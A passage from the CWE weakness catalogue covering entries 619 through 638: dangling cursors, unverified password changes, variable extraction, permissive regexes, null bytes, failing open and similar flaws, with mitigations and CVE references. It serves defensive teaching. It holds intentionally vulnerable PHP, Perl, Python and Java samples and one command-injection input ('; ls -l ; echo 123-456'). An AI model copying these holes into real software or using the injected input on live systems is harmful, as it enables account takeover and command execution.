Weakness ID : 619
Structure : Simple
Abstraction : Base

Description

If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor "dangling."

Extended Description

For example, an improper dangling cursor could arise from unhandled exceptions. The impact of the issue depends on the cursor's role, but SQL injection attacks are commonly possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	985
CanFollow	G	404	Improper Resource Shutdown or Release	988

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2361

Weakness Ordinalities

Primary : This could be primary when the programmer never attempts to close the cursor when finished with it.

Resultant :

Applicable Platforms

Language : SQL *(Prevalence = Undetermined)*

Technology : Database Server *(Prevalence = Undetermined)*

Background Details

A cursor is a feature in Oracle PL/SQL and other languages that provides a handle for executing and accessing the results of SQL queries.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Potential Mitigations

Phase: Implementation

Close cursors immediately after access to them is complete. Ensure that you close cursors if exceptions occur.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-620: Unverified Password Change

Weakness ID : 620
Structure : Simple
Abstraction : Base

Description

When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.

Extended Description

This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1390	Weak Authentication	2284

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2461

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2352

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

When prompting for a password change, force the user to provide the original password in addition to the new password.

Phase: Architecture and Design

Do not use "forgotten password" functionality. But if you must, ensure that you are only providing information to the actual user, e.g. by using an email address or challenge question that the legitimate user already provided in the past; do not allow the current user to change this identity information until the correct password has been provided.

Demonstrative Examples

Example 1:

This code changes a user's password.

Example Language: PHP *(Bad)*

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
  SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

Observed Examples

Reference	Description
CVE-2007-0681	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions. *https://www.cve.org/CVERecord?id=CVE-2007-0681*
CVE-2000-0944	Web application password change utility doesn't check the original password. *https://www.cve.org/CVERecord?id=CVE-2000-0944*

CWE-621: Variable Extraction Error

Weakness ID : 621
Structure : Simple
Abstraction : Variant

Description

The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.

Extended Description

For example, in PHP, extraction can be used to provide functionality similar to register_globals, a dangerous functionality that is frequently disabled in production systems. Calling extract() or import_request_variables() without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals.

Similar functionality is possible in other interpreted languages, including custom languages.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	914	Improper Control of Dynamically-Identified Variables	1820
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	1132

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Alternate Terms

Variable overwrite :

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could modify sensitive data or program variables.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Use allowlists of variable names that can be extracted.

Phase: Implementation

Consider refactoring your code to avoid extraction routines altogether.

Phase: Implementation

In PHP, call extract() with options such as EXTR_SKIP and EXTR_PREFIX_ALL; call import_request_variables() with a prefix argument. Note that these capabilities are not present in all PHP versions.

Demonstrative Examples

Example 1:

This code uses the credentials sent in a POST request to login a user.

Example Language: PHP *(Bad)*

```
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
   $query = buildQuery($user,$pass);
   mysql_query($query);
   if(getUserRole($user) == "Admin"){
      $isAdmin = true;
   }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

Observed Examples

Reference	Description
CVE-2006-7135	extract issue enables file inclusion *https://www.cve.org/CVERecord?id=CVE-2006-7135*
CVE-2006-7079	Chain: PHP app uses extract for register_globals compatibility layer (CWE-621), enabling path traversal (CWE-22) *https://www.cve.org/CVERecord?id=CVE-2006-7079*
CVE-2007-0649	extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect. *https://www.cve.org/CVERecord?id=CVE-2007-0649*
CVE-2006-6661	extract() enables static code injection *https://www.cve.org/CVERecord?id=CVE-2006-6661*
CVE-2006-2828	import_request_variables() buried in include files makes post-disclosure analysis confusing *https://www.cve.org/CVERecord?id=CVE-2006-2828*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-622: Improper Validation of Function Hook Arguments

Weakness ID : 622
Structure : Simple
Abstraction : Variant

Description

The product adds hooks to user-accessible API functions, but it does not properly validate the arguments. This could lead to resultant vulnerabilities.

Extended Description

Such hooks can be used in defensive software that runs with privileges, such as anti-virus or firewall, which hooks kernel calls. When the arguments are not validated, they could be used to bypass the protection scheme or attack the product itself.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	20	Improper Input Validation	20

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Ensure that all arguments are verified, as defined by the API you are protecting.

Phase: Architecture and Design

Drop privileges before invoking such functions, if possible.

Observed Examples

Reference	Description
CVE-2007-0708	DoS in firewall using standard Microsoft functions *https://www.cve.org/CVERecord?id=CVE-2007-0708*

CWE-623: Unsafe ActiveX Control Marked Safe For Scripting

Weakness ID : 623
Structure : Simple
Abstraction : Variant

Description

An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.

Extended Description

This might allow attackers to use dangerous functionality via a web page that accesses the control, which can lead to different resultant vulnerabilities, depending on the control's behavior.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	267	Privilege Defined With Unsafe Actions	648

Nature	Type	ID	Name	Page
PeerOf	V	618	Exposed Unsafe ActiveX Method	1392

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Architecture and Design

During development, do not mark it as safe for scripting.

Phase: System Configuration

After distribution, you can set the kill bit for the control so that it is not accessible from Internet Explorer.

Observed Examples

Reference	Description
CVE-2007-0617	control allows attackers to add malicious email addresses to bypass spam limits *https://www.cve.org/CVERecord?id=CVE-2007-0617*
CVE-2007-0219	web browser uses certain COM objects as ActiveX *https://www.cve.org/CVERecord?id=CVE-2007-0219*
CVE-2006-6510	kiosk allows bypass to read files *https://www.cve.org/CVERecord?id=CVE-2006-6510*

CWE-624: Executable Regular Expression Error

Weakness ID : 624
Structure : Simple
Abstraction : Base

Description

The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.

Extended Description

Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2346

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

The regular expression feature in some languages allows inputs to be quoted or escaped before insertion, such as \Q and \E in Perl.

Observed Examples

Reference	Description
CVE-2006-2059	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace *https://www.cve.org/CVERecord?id=CVE-2006-2059*
CVE-2005-3420	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace *https://www.cve.org/CVERecord?id=CVE-2005-3420*
CVE-2006-2878	Complex curly syntax inserted into the replacement argument to PHP preg_replace(), which uses the "/e" modifier *https://www.cve.org/CVERecord?id=CVE-2006-2878*
CVE-2006-2908	Function allows remote attackers to execute arbitrary PHP code via the username field, which is used in a preg_replace function call with a /e (executable) modifier. *https://www.cve.org/CVERecord?id=CVE-2006-2908*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2450
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2572

Notes

Research Gap

Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-625: Permissive Regular Expression

Weakness ID : 625
Structure : Simple
Abstraction : Base

Description

The product uses a regular expression that does not sufficiently restrict the set of allowed values.

Extended Description

This effectively causes the regexp to accept substrings that match the pattern, which produces a partial comparison to the target. In some cases, this can lead to other weaknesses. Common errors include:

- not identifying the beginning and end of the target string
- using wildcards instead of acceptable character ranges
- others

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	185	Incorrect Regular Expression	469
ParentOf	V	777	Regular Expression without Anchors	1648
PeerOf	B	183	Permissive List of Allowed Inputs	464
PeerOf	B	184	Incomplete List of Disallowed Inputs	466
PeerOf	V	187	Partial String Comparison	474

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2346

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Perl *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

When applicable, ensure that the regular expression marks beginning and ending string patterns, such as "/^string$/" for Perl.

Demonstrative Examples

Example 1:

The following code takes phone numbers as input, and uses a regular expression to reject invalid phone numbers.

Example Language: Perl *(Bad)*

```
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
   # looks like it only has hyphens and digits
   system("lookup-phone $phone");
}
```

```
else {
   error("malformed number!");
}
```

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

Example 2:

This code uses a regular expression to validate an IP string prior to using it in a call to the "ping" command.

Example Language: Python *(Bad)*

```
import subprocess
import re
def validate_ip_regex(ip: str):
   ip_validator = re.compile(r"((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}")
   if ip_validator.match(ip):
      return ip
   else:
      raise ValueError("IP address does not match valid pattern.")
def run_ping_regex(ip: str):
   validated = validate_ip_regex(ip)
   # The ping command treats zero-prepended IP addresses as octal
   result = subprocess.call(["ping", validated])
   print(result)
```

Since the regular expression does not have anchors (CWE-777), i.e. is unbounded without ^ or $ characters, then prepending a 0 or 0x to the beginning of the IP address will still result in a matched regex pattern. Since the ping command supports octal and hex prepended IP addresses, it will use the unexpectedly valid IP address (CWE-1389). For example, "0x63.63.63.63" would be considered equivalent to "99.63.63.63". As a result, the attacker could potentially ping systems that the attacker cannot reach directly.

Observed Examples

Reference	Description
CVE-2021-22204	Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2021-22204*

CWE-626: Null Byte Interaction Error (Poison Null Byte)

Weakness ID : 626
Structure : Simple
Abstraction : Variant

Description

The product does not properly handle null bytes or NUL characters when passing data between different representations or components.

Extended Description

A null byte (NUL character) can have different meanings across representations or languages. For example, it is a string terminator in standard C libraries, but Perl and PHP strings do not treat it as a terminator. When two representations are crossed - such as when Perl or PHP invokes underlying C functionality - this can produce an interaction error with unexpected results. Similar issues have been reported for ASP. Other interpreters written in C might also be affected.

The poison null byte is frequently useful in path traversal attacks by terminating hard-coded extensions that are added to a filename. It can play a role in regular expression processing in PHP.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	436	Interpretation Conflict	1066

Nature	Type	ID	Name	Page
ChildOf	V	147	Improper Neutralization of Input Terminators	395

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Language : ASP.NET *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Implementation

Remove null bytes from all incoming strings.

Observed Examples

Reference	Description
CVE-2005-4155	NUL byte bypasses PHP regular expression check *https://www.cve.org/CVERecord?id=CVE-2005-4155*
CVE-2005-3153	inserting SQL after a NUL byte bypasses allowlist regexp, enabling SQL injection *https://www.cve.org/CVERecord?id=CVE-2005-3153*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2450
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2569

Notes

Terminology

Current usage of "poison null byte" is typically related to this C/Perl/PHP interaction error, but the original term in 1998 was applied to an off-by-one buffer overflow involving a null byte.

Research Gap

There are not many CVE examples, because the poison NULL byte is a design limitation, which typically is not included in CVE by itself. It is typically used as a facilitator manipulation to widen the scope of potential attacks against other vulnerabilities.

References

CWE-627: Dynamic Variable Evaluation

Weakness ID : 627
Structure : Simple
Abstraction : Variant

Description

In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.

Extended Description

The resultant vulnerabilities depend on the behavior of the application, both at the crossover point and in any control/data flow that is reachable by the related variables or functions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	914	Improper Control of Dynamically-Identified Variables	1820
PeerOf	B	183	Permissive List of Allowed Inputs	464

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Background Details

Many interpreted languages support the use of a "$$varname" construct to set a variable whose name is specified by the $varname variable. In PHP, these are referred to as "variable variables." Functions might also be invoked using similar syntax, such as $$funcname(arg1, arg2).

Alternate Terms

Dynamic evaluation :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Modify Application Data Execute Unauthorized Code or Commands *An attacker could gain unauthorized access to internal program variables and execute arbitrary code.*	

Potential Mitigations

Phase: Implementation

Strategy = Refactoring

Refactor the code to avoid dynamic variable evaluation whenever possible.

Phase: Implementation

Strategy = Input Validation

Use only allowlists of acceptable variable or function names.

Phase: Implementation

For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.

Observed Examples

Reference	Description
CVE-2009-0422	Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal. *https://www.cve.org/CVERecord?id=CVE-2009-0422*
CVE-2007-2431	Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS. *https://www.cve.org/CVERecord?id=CVE-2007-2431*
CVE-2006-4904	Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion. *https://www.cve.org/CVERecord?id=CVE-2006-4904*
CVE-2006-4019	Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users. *https://www.cve.org/CVERecord?id=CVE-2006-4019*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2604
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2450
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2572

Notes

Research Gap

Under-studied, probably under-reported. Few researchers look for this issue; most public reports are for PHP, although other languages are affected. This issue is likely to grow in PHP as developers begin to implement functionality in place of register_globals.

References

CWE-628: Function Call with Incorrectly Specified Arguments

Weakness ID : 628
Structure : Simple
Abstraction : Base

Description

The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.

Extended Description

There are multiple ways in which this weakness can be introduced, including:

- the wrong variable or reference;
- an incorrect number of arguments;
- incorrect order of arguments;
- wrong type of arguments; or
- wrong value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1309
ParentOf	V	683	Function Call With Incorrect Order of Arguments	1516
ParentOf	V	685	Function Call With Incorrect Number of Arguments	1519
ParentOf	V	686	Function Call With Incorrect Argument Type	1520
ParentOf	V	687	Function Call With Incorrectly Specified Argument Value	1522
ParentOf	V	688	Function Call With Incorrect Variable or Reference as Argument	1523

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2459

Weakness Ordinalities

Primary : This is usually primary to other weaknesses, but it can be resultant if the function's API or function prototype changes.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	
Access Control	Gain Privileges or Assume Identity *This weakness can cause unintended behavior and can lead to additional weaknesses such as allowing an attacker to gain unintended access to system resources.*	

Detection Methods

Other

Since these bugs typically introduce incorrect behavior that is obvious to users, they are found quickly, unless they occur in rarely-tested code paths. Managing the correct number of arguments can be made more difficult in cases where format strings are used, or when variable numbers of arguments are supported.

Potential Mitigations

Phase: Build and Compilation

Once found, these issues are easy to fix. Use code inspection tools and relevant compiler features to identify potential violations. Pay special attention to code that is not likely to be exercised heavily during QA.

Phase: Architecture and Design

Make sure your API's are stable before you use them in production code.

Demonstrative Examples

Example 1:

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

Example Language: PHP *(Bad)*

```
function authenticate($username, $password) {
   // authenticate user
   ...
}
authenticate($_POST['password'], $_POST['username']);
```

Example 2:

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

Example Language: Perl *(Bad)*

```
sub ReportAuth {
   my ($username, $result, $fatal) = @_;
   PrintLog("auth: username=%s, result=%d", $username, $result);
   if (($result ne "success") && $fatal) {
      die "Failed!\n";
   }
}
sub PrivilegedFunc
{
   my $result = CheckAuth($username);
   ReportAuth($username, $result, 0);
   DoReallyImportantStuff();
}
```

Example 3:

In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.

Example Language: Java *(Bad)*

```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
   String[] userRoles = getUserRoles(user);
   return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
   // grant or deny access based on user roles
   ...
}
```

Observed Examples

Reference	Description
CVE-2006-7049	The method calls the functions with the wrong argument order, which allows remote attackers to bypass intended access restrictions. *https://www.cve.org/CVERecord?id=CVE-2006-7049*

CWE-636: Not Failing Securely ('Failing Open')

Weakness ID : 636
Structure : Simple
Abstraction : Class

Description

When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.

Extended Description

By entering a less secure state, the product inherits the weaknesses associated with that state, making it easier to compromise. At the least, it causes administrators to have a false sense of security. This weakness typically occurs as a result of wanting to "fail functional" to minimize administration and support costs, instead of "failing safe."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Alternate Terms

Failing Open :

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *Intended access restrictions can be bypassed, which is often contradictory to what the product's administrator expects.*	

Potential Mitigations

Phase: Architecture and Design

Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.

Demonstrative Examples

Example 1:

Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.

Observed Examples

Reference	Description
CVE-2007-5277	The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional." *https://www.cve.org/CVERecord?id=CVE-2007-5277*
CVE-2006-4407	Incorrect prioritization leads to the selection of a weaker cipher. Although it is not known whether this issue occurred in implementation or design, it is feasible that a poorly designed algorithm could be a factor. *https://www.cve.org/CVERecord?id=CVE-2006-4407*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Notes

Research Gap

Since design issues are hard to fix, they are rarely publicly reported, so there are few CVE examples of this problem as of January 2008. Most publicly reported issues occur as the result of an implementation error instead of design, such as CVE-2005-3177 (Improper handling of large numbers of resources) or CVE-2005-2969 (inadvertently disabling a verification step, leading to selection of a weaker protocol).

CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')

Weakness ID : 637
Structure : Simple
Abstraction : Class

Description

The product uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.

Extended Description

Security mechanisms should be as simple as possible. Complex security mechanisms may engender partial implementations and compatibility problems, with resulting mismatches in assumptions and implemented security. A corollary of this principle is that data specifications should be as simple as possible, because complex data specifications result in complex validation code. Complex tasks and systems may also need to be guarded by complex security checks, so simple systems should be preferred.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ChildOf	C	657	Violation of Secure Design Principles	1457

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Unnecessary Complexity :

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Architecture and Design

Avoid complex security mechanisms when simpler ones would meet requirements. Avoid complex data models, and unnecessarily complex operations. Adopt architectures that provide guarantees, simplify understanding through elegance and abstraction, and that can be implemented similarly. Modularize, isolate and do not trust complex code, and apply other secure programming principles on these modules (e.g., least privilege) to mitigate vulnerabilities.

Demonstrative Examples

Example 1:

The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.

Example 2:

HTTP Request Smuggling (CWE-444) attacks are feasible because there are not stringent requirements for how illegal or inconsistent HTTP headers should be handled. This can lead to inconsistent implementations in which a proxy or firewall interprets the same data stream as a different set of requests than the end points in that stream.

Observed Examples

Reference	Description
CVE-2007-6067	Support for complex regular expressions leads to a resultant algorithmic complexity weakness (CWE-407). *https://www.cve.org/CVERecord?id=CVE-2007-6067*
CVE-2007-1552	Either a filename extension and a Content-Type header could be used to infer the file type, but the developer only checks the Content-Type, enabling unrestricted file upload (CWE-434). *https://www.cve.org/CVERecord?id=CVE-2007-1552*
CVE-2007-6479	In Apache environments, a "filename.php.gif" can be redirected to the PHP interpreter instead of being sent as an image/gif directly to the user. Not knowing this, the developer only checks the last extension of a submitted filename, enabling arbitrary code execution. *https://www.cve.org/CVERecord?id=CVE-2007-6479*

Reference	Description
CVE-2005-2148	The developer cleanses the $_REQUEST superglobal array, but PHP also populates $_GET, allowing attackers to bypass the protection mechanism and conduct SQL injection attacks against code that uses $_GET. *https://www.cve.org/CVERecord?id=CVE-2005-2148*

CWE-638: Not Using Complete Mediation

Weakness ID : 638
Structure : Simple
Abstraction : Class

Description

The product does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	862	Missing Authorization	1793
ChildOf	B	657	Violation of Secure Design Principles	1457
ParentOf	B	424	Improper Protection of Alternate Path	1032

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control Other	Gain Privileges or Assume Identity Execute Unauthorized Code or Commands Bypass Protection Mechanism Read Application Data Other *A user might retain access to a critical resource even after privileges have been revoked, possibly allowing access to privileged functionality or sensitive information, depending on the role of the resource.*	

Potential Mitigations

Phase: Architecture and Design

Invalidate cached privileges, file handles or descriptors, or other access credentials whenever identities, processes, policies, roles, capabilities or permissions change. Perform complete authentication checks before accepting, caching and reusing data, dynamic content and code (scripts). Avoid caching access control decisions as much as possible.

Phase: Architecture and Design

Identify all possible code paths that might access sensitive resources. If possible, create and use a single interface that performs the access checks, and develop code standards that require use of this interface.

Demonstrative Examples

